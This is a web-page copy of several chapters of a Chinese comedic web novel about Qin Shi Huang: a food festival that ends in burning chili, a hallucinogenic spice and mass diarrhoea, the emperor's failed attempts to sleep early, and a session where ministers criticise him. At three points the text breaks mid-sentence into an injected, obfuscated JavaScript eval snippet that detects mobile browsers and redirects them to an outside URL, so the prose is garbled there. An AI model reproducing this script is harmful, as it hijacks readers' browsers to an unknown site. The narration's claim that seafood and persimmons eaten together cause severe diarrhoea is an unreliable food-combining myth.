“办节!”李斯大手一挥,“臣提议,在咸阳宫前广场,举办‘大秦第一届美食文化节’!召集天下名厨,汇聚各地美食,让百姓免费品尝,感念陛下恩德!” “美食节?”嬴政挑眉,“免费品尝?李斯,你可知这要花多少钱?” “陛下,钱不是问题!”李斯早有准备,“臣已算过,只需从少府拨银五千两,再让各地郡守进贡些食材,足够办一场盛况空前的盛会!而且,此举不仅能收买民心,还能促进各地美食交流,甚至……还能为陛下选拔御厨!” 嬴政闻言,若有所思。 最近他确实觉得御膳房有些单调,翻来覆去就是那几样菜。若是能借此机会尝遍天下美食,倒也不错。 “准了。”嬴政大手一挥,“此事交由你全权负责。记住,既要热闹,又要……体面。” “臣遵旨!”李斯大喜,仿佛已经看到了美食节成功后,陛下对他赞赏有加的场景。 旨意一下,整个咸阳宫瞬间忙碌起来。 各地郡守收到消息,纷纷绞尽脑汁,想要在陛下面前露脸。 齐地送来了三尺长的大对虾,楚地运来了脸盆大的螃蟹,蜀地献上了奇形怪状的菌菇,燕赵之地更是直接赶来了几百头活羊。 御膳房忙得脚不沾地,王胖子总管看着堆积如山的食材,既兴奋又头疼。 “总管,这齐地的虾,是用海水养还是淡水养?”小太监问。 “废话!当然是海水!快去海边取水!” “总管,楚地的螃蟹,是用蒸的还是煮的?” “一半蒸一半煮!都要!” “总管,蜀地的蘑菇,有些看着颜色不太对……” “没事!越怪越好吃!全留着!” 混乱中,没人注意到,几个来自百越之地的“厨子”,悄悄将几筐散发着奇异香味的植物混入了食材堆中。 “这可是我们百越的秘制香料,吃了能让人飘飘欲仙!”领头的百越人得意地对同伴说道。 “老大,这玩意儿……不会吃死人吧?” “放心!顶多就是拉个肚子,或者……看到点幻觉。这可是神灵赐福的圣物!” 美食节当天,咸阳宫前广场人山人海,彩旗飘扬。 嬴政高坐观礼台,李斯、蒙毅等重臣分列两侧。台下,数百个摊位依次排开,香气四溢,令人垂涎欲滴。 “陛下,”李斯满脸堆笑,“您看,那边是齐地的‘葱烧海参’,那边是楚地的‘清蒸大闸蟹’,那边是蜀地的‘麻辣火锅’……应有尽有,包您满意!” 嬴政点点头,心情愉悦:“甚好。开始吧。” “喏!”李斯转身,对着台下高喊,“大秦第一届美食文化节,正式开始!陛下有旨,与民同乐,大家放开吃!” “谢陛下!” 百姓们欢呼一声,涌向各个摊位。 嬴政在众臣簇拥下,来到第一个摊位前。 “陛下,这是蜀郡特产的‘麻辣火锅’。”蜀地厨子热情介绍,“选用蜀地特产的朝天椒、花椒、牛油熬制,鲜香麻辣,回味无穷!” “哦?辣椒?”嬴政来了兴趣,“朕听说过,未曾尝过。呈上来。” 一碗红油滚滚的火锅汤底端了上来,上面飘着密密麻麻的花椒和辣椒,看着就让人头皮发麻。 嬴政拿起勺子,舀了一勺,送入口中。 瞬间,一股难以形容的灼烧感直冲脑门! “咳咳咳!”嬴政被辣得满脸通红,眼泪都出来了,“水!快拿水来!” “陛下息怒!陛下息怒!”蜀地厨子吓得跪倒在地,“这……这辣椒就是这味儿,越辣越香!” “香个屁!”蒙毅大怒,一把揪住厨子的衣领,“你想谋害陛下?” “臣不敢!臣不敢!” 就在这时,周围突然传来一片哭爹喊娘的惨叫声。 “啊!我的嘴!着火了!” “水!快给我水!” “娘!我舌头没了!” 原来,百姓们见陛下都吃了,纷纷效仿,结果全被辣得人仰马翻。一时间,整个广场充斥着咳嗽声、哭喊声和找水声。 “怎么回事?”嬴政好不容易缓过劲来,怒视李斯。 李斯冷汗直流:“臣……臣这就去查!” 第四章:第二翻:集体“跳舞”的百越烤鱼 好不容易安抚了被辣哭的百姓,众人来到了百越的摊位前。 “陛下,这是百越特产的‘香茅草烤鱼’。”百越厨子献宝似的端上一盘烤得金黄酥脆的鱼,上面撒着一些绿色的碎末,散发着奇异的香气。 嬴政警惕地看着那盘鱼:“这又是什么?不会又辣吧?” “不辣不辣!”百越厨子连连摆手,“这是我们百越的神灵香料,吃了能强身健体,延年益寿!” 嬴政将信将疑,夹了一小块鱼肉,放入口中。 味道……有点怪,带着一股柠檬和薄荷的混合香气,还有点微苦,但不算难吃。 “嗯,尚可。”嬴政点点头。 见陛下都说“尚可”,众臣和百姓们纷纷开动。 然而,没过多久,怪事发生了。 “咦?这地怎么在晃?”一个大臣揉了揉眼睛。 “不是地在晃,是你在晃。”另一个大臣说道。 “我怎么觉得……浑身轻飘飘的,想……想唱歌?” “我也是!我想跳舞!” “啦啦啦~我是快乐的小青蛙~” “蹦恰恰~蹦恰恰~” 只见刚才还一本正经的大臣们,突然开始手舞足蹈,有的抱着柱子转圈,有的对着空气深情朗诵,有的甚至开始脱衣服…… 百姓们更夸张,一群人围在一起,跳起了诡异的舞蹈,嘴里还喊着听不懂的百越语。 “神灵赐福!神灵赐福!” 嬴政看着眼前这宛如群魔乱舞的一幕,脸黑得像锅底。 “李斯!”他咬牙切齿,“这又是怎么回事?” 李斯此刻也觉得头晕目眩,眼前似乎有七彩祥云在飘,他努力晃了晃脑袋:“陛下……臣觉得……这鱼……有点上头……” “来人!”嬴政怒吼,“把百越的这些厨子,全部拿下!关进大牢!” “诺!”蒙毅强忍着想跟着一起跳舞的冲动,带人冲了上去。 混乱还在继续。 嬴政强压怒火,决定去齐地的摊位看看。至少海鲜应该不会出什么幺蛾子。 “陛下,这是刚蒸好的大螃蟹,鲜美无比!”齐地厨子赶紧端上一盘热气腾腾的螃蟹。 嬴政拿起一只,剥开蟹壳,露出肥美的蟹黄,香气扑鼻。 他尝了一口,点了点头:“嗯,这个不错,总算有个正常的。” 众臣见陛下吃得香,纷纷效仿。刚才被辣哭、被迷晕的众人,此刻也饿了,开始大快朵颐。 “好吃!真鲜!” “这虾肉真嫩!” “来,喝口酒!” 就在这时,一个大臣拿起旁边摊位的一个柿子,咬了一口。 “这柿子真甜,解腻!” 另一个大臣也拿起一个:“确实甜,我也来一个。” 嬴政也顺手拿起一个柿子,刚咬了一口,突然觉得肚子一阵绞痛。 “唔……”他捂住肚子,脸色瞬间变得苍白。 紧接着,周围传来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387649|200270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一片哀嚎。 “哎哟!我的肚子!” “疼死我了!我要如厕!” “快!茅房在哪?!” 原来,海鲜和柿子同食,会引起严重的腹泻。 刚才众人吃了大量的海鲜,又吃了柿子,此刻毒性发作,顿时乱作一团。 “茅房!我要去茅房!”一个大臣夹着腿,满脸痛苦地喊道。 “我也要去!” “让开!让我先!” 大臣们为了抢茅房,差点打起来。百姓们更是四处乱窜,寻找隐蔽之处。 整个咸阳宫广场,臭气熏天,哀鸿遍野。 半个时辰后。 章台殿内,气氛凝重得能滴出水来。 嬴政换了一身干净的衣服,脸色铁青,坐在御座上,一言不发。 下面,李斯、蒙毅、王胖子等人跪了一地,个个脸色惨白,浑身发抖。 殿外,还隐约传来大臣们痛苦的呻吟声和太医们忙碌的脚步声。 “李斯。”嬴政缓缓开口,声音冰冷。 “臣……臣在。”李斯声音都在抖。 “这就是你办的……‘盛世之象’?”嬴政指了指殿外,“让朕和满朝文武,还有咸阳百姓,集体……窜稀?” “臣罪该万死!臣罪该万死!”李斯以头触地,砰砰作响。 “蒙毅。” “臣在!” “这就是你负责的……安保?”嬴政冷笑,“让百越的巫师混进来,给朕下药?” “臣失职!请陛下责罚!”蒙毅羞愧难当。 “王胖子。” “奴……奴才在。” “这就是你管理的……御膳房?”嬴政拿起一个柿子,重重摔在地上,“连海鲜和柿子不能同食都不知道?” “奴才愚昧!奴才该死!” 嬴政看着跪了一地的臣子,只觉得太阳穴突突直跳。 他深吸一口气,强压下把这群蠢货全送去修长城的冲动。 “传旨。” “臣等恭听。” “第一,李斯,办事不力,罚俸一年,去骊山……监督皇陵修建进度,什么时候修好,什么时候回来。” 李斯:“……诺。” “第二,蒙毅,守卫失职,罚俸半年,去北疆……给蒙恬当副将,好好历练历练。” 蒙毅:“诺。” “第三,御膳房总管王胖子,革去总管之职,贬为……烧火太监。以后御膳房的食材搭配,由太医令夏无且亲自审核。” 王胖子:“……谢陛下恩典。” “第四,”嬴政站起身,走到窗边,看着外面一片狼藉的广场,咬牙切齿,“从今日起,咸阳宫……禁食辣椒、禁食百越香料、禁食……柿子!” “诺!” “还有,”嬴政转过身,目光扫过众人,“以后谁再敢提‘美食节’三个字,朕就让他去给朕……试吃百越的新菜!” 众臣浑身一颤,齐声高呼:“臣等不敢!” 虽然第一届美食节以惨烈的翻车告终,但它却意外地留下了几项“遗产”。 第一,大秦的太医们通过这次事件,总结出了《食物相克大全》,成为后世中医食疗的经典著作。 第二,百越的“迷幻香料”被严格管制,但也启发了方士们炼丹的思路,间接促进了古代化学的发展。 第三,也是最重要的一点。 从此以后,咸阳宫的御膳,变得极其……安全,且单调。 早餐:白粥、咸菜、馒头。 午餐:水煮肉、水煮菜、米饭。 晚餐:同午餐。 嬴政看着面前清清白白的饭菜,叹了口气,拿起筷子。 “虽然不好吃,但至少……不会拉肚子。” 他夹起一根青菜,放入口中,面无表情地咀嚼着。 “李斯。” “臣在。”李斯小心翼翼地上前。 “下次……”嬴政顿了顿,“下次要是再有什么‘好主意’,先自己试一个月,再来告诉朕。” 李斯:“……臣遵旨。” 9. 今日陛下也在努力早睡 咸阳宫,章台殿。 铜壶滴漏发出“咚”的一声轻响,标志着亥时已至。 嬴政放下手中的朱笔,揉了揉发胀的眉心,长长地舒了一口气。御案上堆积如山的竹简,终于矮下去了一截,虽然旁边还堆着几摞,但至少眼前的这一批,算是批完了。 “什么时辰了?”他问侍立在旁的内侍。 “回陛下,亥时了。”内侍小声答道。 “亥时……”嬴政低声重复了一遍,眼中闪过一丝不易察觉的满意。 亥时,是他给自己定下的“就寝红线”。自从太医令夏无且多次苦口婆心地劝谏,说什么“子时之后入睡伤肝,丑时之后入睡伤肾,长此以往恐折寿十年”之后,嬴政就痛下决心,要改掉熬夜的坏习惯。 毕竟,他是要追求长生不老的人,怎么能被区区睡眠拖垮? “传旨,”嬴政站起身,活动了一下僵硬的脖颈,“朕要就寝。将这些未批阅的奏章,暂且收……” “陛下!” 他话音未落,殿外传来一阵急促的脚步声,李斯捧着一卷加急军报,几乎是连滚带爬地冲了进来,脸上带着焦急之色。 “陛下!北疆八百里加急!匈奴左贤王部突袭云中郡,蒙恬将军已率军迎敌,然粮草告急,请求陛下速拨粮草!” 嬴政伸懒腰的动作僵在半空,脸上的困意瞬间消散,取而代之的是冷冽的寒光:“呈上来!” 他接过军报,快速浏览,眉头越皱越紧。 “传令治粟内史,即刻调拨粮草十万石,由王离率军押送,三日内必须抵达云中!”嬴政沉声下令,语速极快,“再传令各郡,加强戒备,严防匈奴分兵袭扰!” “诺!”李斯领命,匆匆退下。 嬴政重新坐回御座,拿起朱笔,在竹简上飞快地写下批示。刚才那点关于“早睡”的念头,早已被抛到了九霄云外。 铜壶滴漏里的水,一滴一滴落下。 “咚。” 又是一声轻响。子时了。 嬴政放下笔,看着面前刚刚批完的军报,又看了看旁边那堆因为被打断而还没来得及收走的普通奏章,眉头微皱。 “陛下,子时了,该歇息了。”内侍小心翼翼地提醒道。 “嗯。”嬴政点点头,站起身,“把这些……” 他指了指那堆普通奏章。 内侍正要上前收拾。 “等等。”嬴政突然停下脚步,目光落在最上面的一卷奏章上。那是会稽郡守关于“修建水利”的奏请。 会稽郡水患频发,此事关乎民生,拖延不得。 嬴政叹了口气,重新坐下,拿起那卷竹简:“朕看完这一卷就睡。” “诺。”内侍默默退到一旁。 一刻钟后。 “陛下,看完了吗?” “快了,还有最后几句。” 两刻钟后。 “陛下……” “别吵,这郡守写得什么狗屁不通的东西,逻辑混乱,朕得给他改改。” 三刻钟后。 嬴政放下朱笔,揉了揉发酸的手腕,看着被自己改得密密麻麻的竹简,满意地点点头。 “好了,收……” 他的目光又扫到了旁边的一卷奏章。那是御史大夫关于“弹劾某县令贪腐”的密报。 贪腐之事,必须严查,否则后患无穷。 嬴政的手,不受控制地伸了过去。 “陛下!”内侍都快哭了,“丑时了!夏太医说了,丑时不睡,伤肾啊!” “朕知道。”嬴政头也不抬,“朕肾好得很。看完这个,立刻睡。” “咚!” 铜壶滴漏发出一声沉闷的巨响,惊醒了趴在桌上打盹的内侍。 内侍一个激灵,抬头一看,顿时魂飞魄散。 寅时了! 窗外,天色已经泛起了鱼肚白。 而御座上的那位,依旧精神抖擞,手中的朱笔在竹简上飞舞,速度甚至比亥时还要快。 “陛下!”内侍噗通一声跪下,带着哭腔喊道,“不能再看了!天都快亮了!您这……您这是一宿没睡啊!” 嬴政抬起头,看了看窗外微亮的天光,愣了一下:“这么快就天亮了?” 他放下笔,活动了一下僵硬的身体,骨骼发出“咔吧咔吧”的脆响。虽然一夜未眠,但他非但不觉得疲惫,反而因为处理了大量积压政务,感到一种奇异的满足感和亢奋。 “无妨。”嬴政摆摆手,“朕年轻的时候,在军营里三天三夜不睡也是常事。去,给朕端碗参汤来,提提神。” “陛下……” “快去。” “诺……”内侍哭丧着脸退下。 参汤还没端来,章台殿的门帘被猛地掀开,太医令夏无且拎着药箱,黑着脸走了进来。 “臣夏无且,参见陛下。”夏无且的声音冷得像冰。 “夏爱卿来了。”嬴政有些心虚地摸了摸鼻子,“朕正要传你呢,朕觉得今日精神甚好,你给朕把把脉,看看朕的养生之道可有进益?” 夏无且没理他,径直走到御案前,看了一眼堆积如山的竹简,又看了一眼嬴政眼下的乌青,深吸一口气,似乎在极力压制怒火。 “陛下,”夏无且的声音在颤抖,“您昨日答应臣什么?” “朕答应你……”嬴政想了想,“亥时就寝。” “那现在是什么时辰?” “呃……寅时。” “陛下!”夏无且噗通一声跪下,老泪纵横,“您这是要臣的命啊!臣费尽心血为您调养龙体,您却……却如此糟蹋!若是让天下人知道陛下因批阅奏章而……而……臣万死难辞其咎啊!” 嬴政被夏无且这一哭闹,也有些尴尬。他确实理亏。 “夏爱卿快快请起。”嬴政起身扶起夏无且,“朕知错了,朕下次一定注意。” “下次?”夏无且抹了把眼泪,“陛下,您上次也是这么说的!上上次也是!臣不管,今日您必须立刻就寝!否则臣就……臣就一头撞死在这柱子上!” 说着,夏无且作势就要往柱子上撞。 “哎哎哎!使不得!使不得!”嬴政赶紧拦住他,哭笑不得,“好好好,朕睡,朕这就睡。” 他看了一眼御案上剩下的几卷奏章,心中挣扎。就差一点了,看完这几卷,今天的任务就完成了…… “陛下!”夏无且死死盯着他。 “朕睡!朕真的睡!”嬴政叹了口气,对一旁的内侍道,“把这些奏章搬到朕的寝宫去。” 夏无且:“!!!” “陛下!您……” “朕不看了,朕就放在那儿,闻闻墨香味,助眠。”嬴政一本正经地说道。 夏无且:“……”陛下,您这理由还能再假一点吗? 最终,在夏无且以死相逼和嬴政半推半就下,嬴政终于躺在了寝宫的龙榻上。 “陛下,闭上眼睛,放松呼吸,什么都别想。”夏无且站在床边,像哄孩子一样轻声说道。 “嗯。”嬴政闭上眼睛。 寝宫内一片寂静,只有烛火燃烧的噼啪声。 一炷香的时间过去了。 嬴政的呼吸变得均匀绵长,似乎睡着了。 夏无且松了口气,对旁边的内侍使了个眼色,两人轻手轻脚地退了出去,关上了殿门。 黑暗中,嬴政睁开了眼睛。 他睡不着。 脑子里全是刚才看的那些奏章。 云中郡的粮草,不知道王离押送到了没有? 会稽郡的水利,那个郡守能不能看懂朕的批示? 御史大夫弹劾的那个县令,背后会不会还有大鱼? 他翻了个身,看向床边的矮几。那里,整齐地码放着那几卷没看完的奏章,在黑暗中,仿佛散发着诱人的光芒。 “就看一眼。”嬴政对自己说,“就看一眼那个县令的履历,确认一下是不是和之前那个案子有关联。” 他伸出手,摸向那卷竹简。 就在这时,殿外传来一阵极轻微的脚步声。 嬴政动作一顿,立刻缩回手,闭上眼睛,装作熟睡的样子。 门被轻轻推开一条缝,夏无且的脑袋探了进来,警惕地扫视了一圈,确认陛下确实“睡着”了,这才放心地缩回去,关上门。 嬴政等了一会儿,确认夏无且走远了,才重新睁开眼,嘴角勾起一抹得意的笑。 “跟朕斗?” 他坐起身,拿起那卷竹简,借着窗外透进来的月光,看了起来。 “果然是他!”嬴政眼中寒光一闪,“这个贪官,竟然和赵高还有牵扯……” 他看得入神,完全没注意到,窗外,夏无且正透过窗纸的破洞,冷冷地看着他。 “陛下。”夏无且的声音幽幽传来。 嬴政手一抖,竹简差点掉在地上。 “咳咳,”嬴政干咳两声,故作镇定地放下竹简,“朕……朕渴了,起来喝口水。” “喝水需要看奏章?”夏无且推门而入,手里端着一碗黑漆漆的汤药,“既然陛下精力如此旺盛,那便把这碗‘安神助眠汤’喝了吧。” “朕不……” “臣加了双倍的黄连。”夏无且面无表情地说道。 嬴政:“……”算你狠。 次日,大朝会。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387650|200270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嬴政坐在御座上,虽然强打精神,但眼下的乌青和微微泛红的眼睛,还是暴露了他昨晚的“战绩”。 “陛下,”李斯出列,看着陛下的脸色,心中了然,脸上却露出关切之色,“陛下龙体要紧,切不可过度操劳啊。” “无妨。”嬴政摆摆手,“国事为重。李斯,云中郡粮草之事,办得如何了?” “回陛下,王离将军已率军出发,预计明日即可抵达。”李斯答道,随即话锋一转,“不过,臣有一事,不知当讲不当讲。” “讲。” “陛下,臣近日发现,各地官员呈报奏章,多有冗长繁琐之处,动辄数千言,实则干货寥寥。”李斯痛心疾首地说道,“这不仅浪费竹简,更耗费陛下龙体。臣以为,当严令整顿文风,推行‘千字奏章’制,非紧急军情,不得超过一千字!” 嬴政眼睛一亮:“善!李斯此言甚合朕意!准奏!” 他早就受够了那些废话连篇的奏章,明明一句话能说清的事,非要写一篇论文。 “陛下圣明!”众臣齐声附和。 下朝后,嬴政心情愉悦,觉得李斯这个提议简直是为他量身定做的。字数少了,他看得就快了,睡得也就早了。 然而,他低估了李斯的“卷”。 当天晚上,嬴政看着御案上堆积如山的奏章,傻眼了。 数量不仅没少,反而比昨天还多了一倍! “这是怎么回事?”嬴政指着那堆“小山”,“不是说了不得超过一千字吗?” 内侍苦着脸:“回陛下,李相确实下令了。但……但各地官员为了凑字数,把一件事拆成了十件事写。比如以前一份奏章说‘修路十里’,现在拆成‘选址一份、征夫一份、备料一份、开工一份、验收一份’……而且,他们听说陛下喜欢看数据,还附上了各种图表和清单……” 嬴政拿起一份奏章,果然,正文只有短短几百字,后面却附了厚厚一叠“施工进度表”、“物料损耗明细”、“民夫出勤记录”…… “李斯!!!”嬴政咬牙切齿。 这哪是帮他减负?这分明是给他加量不加价! “陛下,”内侍小心翼翼地问道,“还……还睡吗?” “睡?”嬴政冷笑一声,拿起朱笔,“朕今晚要是睡了,明天李斯就能把全天下的鸡毛蒜皮都写成奏章送到朕面前!” 他深吸一口气,眼中燃烧着熊熊斗志。 “磨墨!” “诺……” 又是一个不眠之夜。 当清晨的阳光洒进章台殿时,嬴政终于批完了最后一份奏章。 他站起身,走到窗前,看着初升的朝阳,伸了个懒腰,虽然疲惫,但心中却充满了成就感。 “陛下,”夏无且拎着药箱,面无表情地走进来,“该把脉了。” “把吧。”嬴政伸出手,心情甚好。 夏无且把了一会儿脉,眉头越皱越紧:“陛下,您昨夜又没睡?” “睡了。”嬴政脸不红心不跳,“朕子时睡的,睡得很香。” “那为何脉象如此浮躁,肝火旺盛?” “那是朕在梦里……练剑。”嬴政一本正经地说道。 夏无且:“……”我信你个鬼。 “罢了。”夏无且收起药箱,叹了口气,“陛下,臣知道您心系天下。但您想过没有,若是您累垮了,这大秦的江山,谁来扛?” 嬴政脸上的笑容渐渐消失,他看着窗外繁华的咸阳城,沉默良久。 “夏无且,你说得对。”嬴政缓缓道,“朕不能倒。” “那陛下……” “从今日起,”嬴政转过身,目光坚定,“朕要改革。” “改革?” “对,改革作息制度。”嬴政大手一挥,“传朕旨意,即日起,设立‘轮值丞相’制,每晚由一位重臣留守宫中,协助朕处理政务。非紧急军情,一律由轮值丞相先行批阅,提出处理意见,朕次日只需复核即可!” 夏无且愣住了:“这……这能行吗?” “怎么不行?”嬴政眼中闪过一丝狡黠,“李斯不是喜欢看奏章吗?让他今晚就值夜班。蒙恬不是精力旺盛吗?让他明晚值。还有王绾、冯劫……轮流来,谁也跑不了!” 夏无且看着陛下那“邪恶”的笑容,突然有些同情那些大臣了。 “那陛下您……” “朕?”嬴政打了个哈欠,走到龙榻边,舒服地躺下,“朕当然是……睡觉。” 他闭上眼睛,嘴角微微上扬。 想累死朕?门都没有。 要熬夜,大家一起熬。 这,就是大秦皇帝的“早睡”之道。 10. 咸阳宫第一届吐槽大会 章台殿的灯火今夜亮得有些诡异。 平日里肃杀冷清的殿堂,此刻竟摆上了几案酒菜,甚至还有几个软垫随意地扔在地上。嬴政没有坐在高高的御座上,而是盘腿坐在一张矮榻上,手里把玩着一个酒樽,神色……怎么说呢,有点过于和蔼可亲了。 李斯、蒙恬、赵高、王绾四人跪坐在下首,腰板挺得笔直,眼观鼻,鼻观心,大气都不敢出。 “都放松点,”嬴政放下酒樽,笑眯眯地看着他们,“今日叫你们来,没别的事,就是想跟几位爱卿……聊聊天。” 四人交换了一个眼神,心里同时响起警铃:陛下笑得越灿烂,坑挖得越深。 “陛下,”李斯小心翼翼地问道,“不知陛下想聊什么?若是朝政之事,臣等定当……” “打住。”嬴政抬手打断他,“今日不谈朝政,不谈国事,不谈朕的功绩。” “那谈什么?”蒙恬一脸茫然。 “谈……”嬴政身体微微前倾,目光扫过四人,嘴角勾起一抹玩味的笑,“谈朕的缺点。” “噗——” 赵高刚端起茶杯,听到这话,手一抖,茶水差点洒出来。他赶紧放下杯子,伏地请罪:“陛下恕罪!臣失仪!” “无妨。”嬴政挥挥手,示意他起来,“朕说了,今日放松点。朕最近读了些杂书,听说这世间有一种‘诤友’,敢直言劝谏,指出君主过失。朕觉得,朕身边似乎少了点这样的声音。” 四人心里同时吐槽:陛下,您那是少了点吗?您那是直接把敢说真话的人都送去修长城了好吗! “所以,”嬴政拍了拍手,“朕决定,今晚咱们来玩个游戏,叫……‘吐槽大会’。” “吐……吐槽?”王绾年纪最大,有点跟不上年轻人的思路。 “就是……说坏话。”嬴政贴心地解释,“你们轮流说朕的坏话,说得越狠越好,越真实越好。谁要是说得好,朕重重有赏。谁要是敢说假话糊弄朕……” 嬴政顿了顿,脸上的笑容瞬间消失,眼神变得冰冷:“那就去骊山,陪那些儒生作伴。” 空气瞬间凝固。 李斯感觉自己的后背已经被冷汗湿透了。他飞快地转动脑筋:陛下这是唱的哪一出?是觉得最近朝堂太安静了,想找点乐子?还是想试探谁的忠心?或者是……真的想听真话? 蒙恬则是耿直地皱起了眉:“陛下,您是君,臣是臣,臣怎么能说您的坏话?这是大不敬!” “朕赦你无罪。”嬴政大手一挥,“不仅无罪,谁说得最让朕……‘痛心’,朕赏千金,赐免死金牌一面。” “免死金牌”四个字一出,赵高的眼睛瞬间亮了。他偷偷看了一眼李斯,又看了看蒙恬,心里开始盘算。 “怎么?都不敢?”嬴政靠在榻上,懒洋洋地说道,“看来,朕在你们心中,是个完美无缺的圣人啊。既然如此,那……” “臣先来!” 赵高突然开口,声音尖细却透着几分决绝。他深吸一口气,仿佛下定了某种决心,对着嬴政行了一礼:“陛下,既然您让臣说,那臣就……斗胆了!” 嬴政挑眉,做了个“请”的手势。 赵高清了清嗓子,用一种饱含血泪的语气说道:“陛下,臣要吐槽您……太不爱惜自己的身体了!” 众人一愣。这算什么坏话? 赵高越说越激动,甚至带上了一丝哭腔:“陛下,您是不知道,您每天寅时就起,子时才睡,批阅的奏章堆得比山还高!您这么干,让臣等怎么办?您不睡,臣等敢睡吗?您起得比鸡早,睡得比狗晚,臣等……臣等实在是跟不上您的节奏啊!” 他指着自己的黑眼圈:“陛下您看,臣这眼圈,比熊猫还黑!这都是为了陪您熬夜熬的啊!您就不能……稍微懒一点吗?哪怕一天睡够四个时辰也行啊!” 嬴政愣住了,他没想到赵高会从这个角度“攻击”他。他摸了摸下巴,若有所思:“爱卿的意思是……朕太勤政了,给你们造成了压力?” “何止是压力!是生命危险!”赵高痛心疾首,“上次太医令夏无且说了,臣再这么熬下去,怕是活不过五十。陛下,您就当可怜可怜臣,稍微……稍微懈怠那么一点点,行吗?” 嬴政沉默片刻,突然笑了:“赵高,你这马屁拍得……倒是别致。行,这条朕记下了。赏,赐参汤一碗,给你补补身子。” 赵高大喜:“谢陛下!” 李斯在一旁看得目瞪口呆。还能这样?说陛下太勤政也算坏话?而且还得了赏?他感觉自己似乎摸到了点门道。 “下一个,谁来?”嬴政看向剩下三人。 蒙恬咬了咬牙,站起身:“陛下,既然赵大人开了头,那臣也直说了!” “讲。” “陛下,您……您太败家了!”蒙恬声音洪亮,震得殿梁上的灰尘都簌簌落下。 嬴政脸色一沉:“蒙恬,注意你的言辞。” “是陛下让臣说的!”蒙恬梗着脖子,“陛下您想想,您修阿房宫,建皇陵,筑长城,还要派徐福出海寻仙!这得花多少钱?征发多少民夫?臣在北疆带兵,将士们有时候连饭都吃不饱,军饷都发不全,您却把钱都花在这些……这些面子工程上!臣……臣心疼啊!” 这话一出,李斯和王绾吓得脸都白了。蒙恬这是不要命了?敢说陛下修宫殿是面子工程? 嬴政的脸色阴晴不定,手指在桌面上敲击着,发出沉闷的响声。 蒙恬豁出去了,继续说道:“陛下,大秦的根基是百姓,是军队!您要是把家底都败光了,万一哪天匈奴打进来,或者百姓造了反,您拿什么去挡?拿阿房宫的柱子砸吗?” “放肆!”嬴政猛地一拍桌子。 蒙恬闭上眼,一副视死如归的样子。 然而,预想中的雷霆之怒并没有到来。嬴政盯着蒙恬看了许久,突然叹了口气:“蒙恬,你可知,朕为何要修这些?” “臣不知,臣只知道,民力有穷时。” “朕是为了……”嬴政顿了顿,似乎有些难以启齿,最终还是说道,“朕是为了……镇住这六国的气运,也是为了……让后世子孙知道,朕的大秦,是何等强盛。” “那也不能不顾百姓死活啊!”蒙恬急道,“陛下,您要是真想让大秦万世永存,就该轻徭薄赋,与民休息!” 嬴政沉默了。他拿起酒樽,一饮而尽,然后重重放下:“好!蒙恬,你说得对。这条,朕也记下了。赏,赐你……去骊山监工,给朕把皇陵的预算砍下一半来!” 蒙恬一愣:“啊?” “啊什么啊?”嬴政瞪了他一眼,“你不是嫌朕败家吗?你去给朕省钱!省不下来,你就别回北疆了!” 蒙恬哭笑不得:“诺……臣领旨。” 轮到王绾了。这位老丞相颤颤巍巍地站起来,看着嬴政,眼中带着一丝复杂。 “陛下,老臣……老臣年纪大了,有些话,憋在心里很久了。” “王相但说无妨。”嬴政的语气缓和了些。 “陛下,您……您太不近人情了。”王绾的声音有些哽咽,“老臣跟随陛下多年,看着陛下从一个少年君王,成长为如今的千古一帝。可是……陛下,您还记得上次和皇子们一起吃饭是什么时候吗?您还记得扶苏公子小时候,您抱过他几次吗?” 提到扶苏,嬴政的眼神闪烁了一下。 “陛下,您是皇帝,是天下人的君父。可是,您也是人,也有妻子儿女啊。”王绾老泪纵横,“您整日忙于国事,对后宫不闻不问,对皇子们严苛至极。扶苏公子多好一孩子,您非要把他贬到上郡去受苦……陛下,您就不觉得……孤独吗?” 孤独。 这两个字,像是一根针,轻轻扎在了嬴政的心上。 他孤独吗? 当然孤独。 高处不胜寒。他坐在这个位置上,所有人都怕他,敬他,算计他,却没有人真正关心他累不累,开不开心。 “王相……”嬴政的声音有些沙哑。 “陛下,”王绾跪倒在地,“老臣不求别的,只求陛下……偶尔也能放下身段,做个普通人,享受一下天伦之乐。这江山,是打不完的,但这亲情,错过了,就真的没了啊!” 嬴政闭上眼,深吸一口气,再睁开时,眼中多了一丝疲惫。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387651|200270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “王相,起来吧。”他亲自走下榻,扶起王绾,“你说得对。朕……确实忽略了太多。” 他看向李斯:“李斯,传旨,明日……召扶苏回咸阳一趟。” 李斯一愣,随即大喜:“诺!” “至于王相,”嬴政拍了拍王绾的手,“赏,赐你……陪朕吃顿饭。以后每月初一,你都进宫来,陪朕说说话。” 王绾激动得浑身颤抖:“谢陛下!谢陛下!” 最后,只剩下李斯了。 